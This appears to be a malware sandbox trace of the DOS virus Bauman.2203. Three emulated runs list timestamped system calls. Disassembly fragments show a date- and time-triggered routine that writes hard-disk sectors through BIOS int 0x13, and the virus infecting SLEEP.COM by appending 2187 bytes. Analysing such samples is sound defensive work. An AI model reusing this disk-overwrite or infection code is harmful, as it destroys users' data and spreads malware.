Sample viewer

vx.netlux.org/Virus.DOS.Bauman.2203

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:27:57.778284333Z 42 PC: 12ad1 | Get date 0x12ad1: cmp al, 5
0x12ad3: jne 0x12afb
0x12ad5: mov ah, 0x2c
0x12ad7: int 0x21
0x12ad9: cmp ch, 0xc
0x12adc: jb 0x12afb
0x12ade: mov dx, 0x80
0x12ae1: mov cx, 1
0x12ae4: xor bx, bx
0x12ae6: mov ax, 0x326
0x12ae9: int 0x13
0x12aeb: inc dh
0x12aed: cmp dh, 6
0x12af0: jne 0x12ae6
2018-12-17T22:27:57.780683445Z 116 PC: 12b2e | UNKNOWN!
2018-12-17T22:27:57.782310323Z 44 PC: 12b76 | Get time 0x12b76: pushf
0x12b77: mov bp, sp
0x12b79: and byte ptr [bp + 1], 0xfe
0x12b7d: popf
0x12b7e: mov ax, bx
0x12b80: sub ax, 0xbc
0x12b83: mov ds, ax
0x12b85: mov dx, 6
0x12b88: mov ah, 0x1a
0x12b8a: int 0x21
0x12b8c: push ds
0x12b8d: push cs
0x12b8e: pop ds
0x12b8f: pop es
0x12b90: xor ax, ax
0x12b92: mov word ptr es:[0x8a8], ax
0x12b96: mov word ptr es:[0x8aa], ax
0x12b9a: mov ah, 0x4e
0x12b9c: mov dx, si
0x12b9e: sub dx, 9
2018-12-17T22:27:57.785843497Z 26 PC: 12b8c | Set disk transfer address
2018-12-17T22:27:57.78785699Z 78 PC: 12ba5 | Find first file
2018-12-17T22:27:57.792939627Z 78 PC: 12d74 | Find first file
2018-12-17T22:27:57.800072605Z 67 PC: 12d97 | Get or set file attributes
2018-12-17T22:27:57.814797935Z 61 PC: 12d9c | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:27:57.821397117Z 66 PC: 12da9 | Move file pointer
2018-12-17T22:27:57.822586569Z 63 PC: 12db2 | Read file or device (Read 1 bytes on handle 5)
2018-12-17T22:27:57.827632405Z 66 PC: 12de7 | Move file pointer
2018-12-17T22:27:57.828774953Z 63 PC: 12df1 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:27:57.830555579Z 66 PC: 12dfa | Move file pointer
2018-12-17T22:27:57.832834486Z 64 PC: 12e03 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:27:57.835107952Z 66 PC: 12e0c | Move file pointer
2018-12-17T22:27:57.836178594Z 64 PC: 12e1a | Write file or device (Write 8 bytes on handle 5)
2018-12-17T22:27:57.838400057Z 64 PC: 12e26 | Write file or device (Write 7 bytes on handle 5)
2018-12-17T22:27:57.841011884Z 64 PC: 12e34 | Write file or device (Write 2187 bytes on handle 5)
2018-12-17T22:27:57.849317741Z 64 PC: 12e43 | Write file or device (Write 1 bytes on handle 5)
2018-12-17T22:27:57.852035639Z 62 PC: 12e47 | Close file
2018-12-17T22:27:57.860709808Z 116 PC: 12f22 | UNKNOWN!
2018-12-17T22:27:57.861805815Z 82 PC: 9fb07 | Get DOS internal pointers (SYSVARS)

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":4980,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:53:19.329651515Z 42 PC: 12ad1 | Get date 0x12ad1: cmp al, 5
0x12ad3: jne 0x12afb
0x12ad5: mov ah, 0x2c
0x12ad7: int 0x21
0x12ad9: cmp ch, 0xc
0x12adc: jb 0x12afb
0x12ade: mov dx, 0x80
0x12ae1: mov cx, 1
0x12ae4: xor bx, bx
0x12ae6: mov ax, 0x326
0x12ae9: int 0x13
0x12aeb: inc dh
0x12aed: cmp dh, 6
0x12af0: jne 0x12ae6
2018-12-25T11:53:19.33217625Z 116 PC: 12b2e | UNKNOWN!
2018-12-25T11:53:19.333127567Z 44 PC: 12b76 | Get time 0x12b76: pushf
0x12b77: mov bp, sp
0x12b79: and byte ptr [bp + 1], 0xfe
0x12b7d: popf
0x12b7e: mov ax, bx
0x12b80: sub ax, 0xbc
0x12b83: mov ds, ax
0x12b85: mov dx, 6
0x12b88: mov ah, 0x1a
0x12b8a: int 0x21
0x12b8c: push ds
0x12b8d: push cs
0x12b8e: pop ds
0x12b8f: pop es
0x12b90: xor ax, ax
0x12b92: mov word ptr es:[0x8a8], ax
0x12b96: mov word ptr es:[0x8aa], ax
0x12b9a: mov ah, 0x4e
0x12b9c: mov dx, si
0x12b9e: sub dx, 9
2018-12-25T11:53:19.336453012Z 26 PC: 12b8c | Set disk transfer address
2018-12-25T11:53:19.338515518Z 78 PC: 12ba5 | Find first file
2018-12-25T11:53:19.344208689Z 78 PC: 12d74 | Find first file
2018-12-25T11:53:19.350519768Z 67 PC: 12d97 | Get or set file attributes
2018-12-25T11:53:19.477862926Z 61 PC: 12d9c | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:53:19.486551669Z 66 PC: 12da9 | Move file pointer
2018-12-25T11:53:19.488400489Z 63 PC: 12db2 | Read file or device (Read 1 bytes on handle 5)
2018-12-25T11:53:19.495326393Z 66 PC: 12de7 | Move file pointer
2018-12-25T11:53:19.498568527Z 63 PC: 12df1 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:53:19.50146994Z 66 PC: 12dfa | Move file pointer
2018-12-25T11:53:19.50334315Z 64 PC: 12e03 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:53:19.508675333Z 66 PC: 12e0c | Move file pointer
2018-12-25T11:53:19.511026239Z 64 PC: 12e1a | Write file or device (Write 8 bytes on handle 5)
2018-12-25T11:53:19.513699729Z 64 PC: 12e26 | Write file or device (Write 7 bytes on handle 5)
2018-12-25T11:53:19.516314898Z 64 PC: 12e34 | Write file or device (Write 2187 bytes on handle 5)
2018-12-25T11:53:19.522053039Z 64 PC: 12e43 | Write file or device (Write 1 bytes on handle 5)
2018-12-25T11:53:19.52396152Z 62 PC: 12e47 | Close file
2018-12-25T11:53:19.529776413Z 116 PC: 12f22 | UNKNOWN!
2018-12-25T11:53:19.53063091Z 82 PC: 9fb07 | Get DOS internal pointers (SYSVARS)

{"DateBased":true,"Day":4,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":4980,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:53:19.711125073Z 42 PC: 12ad1 | Get date 0x12ad1: cmp al, 5
0x12ad3: jne 0x12afb
0x12ad5: mov ah, 0x2c
0x12ad7: int 0x21
0x12ad9: cmp ch, 0xc
0x12adc: jb 0x12afb
0x12ade: mov dx, 0x80
0x12ae1: mov cx, 1
0x12ae4: xor bx, bx
0x12ae6: mov ax, 0x326
0x12ae9: int 0x13
0x12aeb: inc dh
0x12aed: cmp dh, 6
0x12af0: jne 0x12ae6
2018-12-25T11:53:19.714291751Z 44 PC: 12ad9 | Get time 0x12ad9: cmp ch, 0xc
0x12adc: jb 0x12afb
0x12ade: mov dx, 0x80
0x12ae1: mov cx, 1
0x12ae4: xor bx, bx
0x12ae6: mov ax, 0x326
0x12ae9: int 0x13
0x12aeb: inc dh
0x12aed: cmp dh, 6
0x12af0: jne 0x12ae6
2018-12-25T11:53:19.717892184Z 116 PC: 12b2e | UNKNOWN!
2018-12-25T11:53:19.719353661Z 44 PC: 12b76 | Get time 0x12b76: pushf
0x12b77: mov bp, sp
0x12b79: and byte ptr [bp + 1], 0xfe
0x12b7d: popf
0x12b7e: mov ax, bx
0x12b80: sub ax, 0xbc
0x12b83: mov ds, ax
0x12b85: mov dx, 6
0x12b88: mov ah, 0x1a
0x12b8a: int 0x21
0x12b8c: push ds
0x12b8d: push cs
0x12b8e: pop ds
0x12b8f: pop es
0x12b90: xor ax, ax
0x12b92: mov word ptr es:[0x8a8], ax
0x12b96: mov word ptr es:[0x8aa], ax
0x12b9a: mov ah, 0x4e
0x12b9c: mov dx, si
0x12b9e: sub dx, 9
2018-12-25T11:53:19.72388538Z 26 PC: 12b8c | Set disk transfer address
2018-12-25T11:53:19.725546525Z 78 PC: 12ba5 | Find first file
2018-12-25T11:53:19.732513126Z 78 PC: 12d74 | Find first file
2018-12-25T11:53:19.739719044Z 67 PC: 12d97 | Get or set file attributes
2018-12-25T11:53:19.757942002Z 61 PC: 12d9c | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:53:19.765272146Z 66 PC: 12da9 | Move file pointer
2018-12-25T11:53:19.766725652Z 63 PC: 12db2 | Read file or device (Read 1 bytes on handle 5)
2018-12-25T11:53:19.774085353Z 66 PC: 12de7 | Move file pointer
2018-12-25T11:53:19.775882851Z 63 PC: 12df1 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:53:19.779069245Z 66 PC: 12dfa | Move file pointer
2018-12-25T11:53:19.782075668Z 64 PC: 12e03 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:53:19.785270909Z 66 PC: 12e0c | Move file pointer
2018-12-25T11:53:19.787220739Z 64 PC: 12e1a | Write file or device (Write 8 bytes on handle 5)
2018-12-25T11:53:19.792541654Z 64 PC: 12e26 | Write file or device (Write 7 bytes on handle 5)
2018-12-25T11:53:19.796189987Z 64 PC: 12e34 | Write file or device (Write 2187 bytes on handle 5)
2018-12-25T11:53:19.806533585Z 64 PC: 12e43 | Write file or device (Write 1 bytes on handle 5)
2018-12-25T11:53:19.810946981Z 62 PC: 12e47 | Close file
2018-12-25T11:53:19.820690252Z 116 PC: 12f22 | UNKNOWN!
2018-12-25T11:53:19.821948224Z 82 PC: 9fb07 | Get DOS internal pointers (SYSVARS)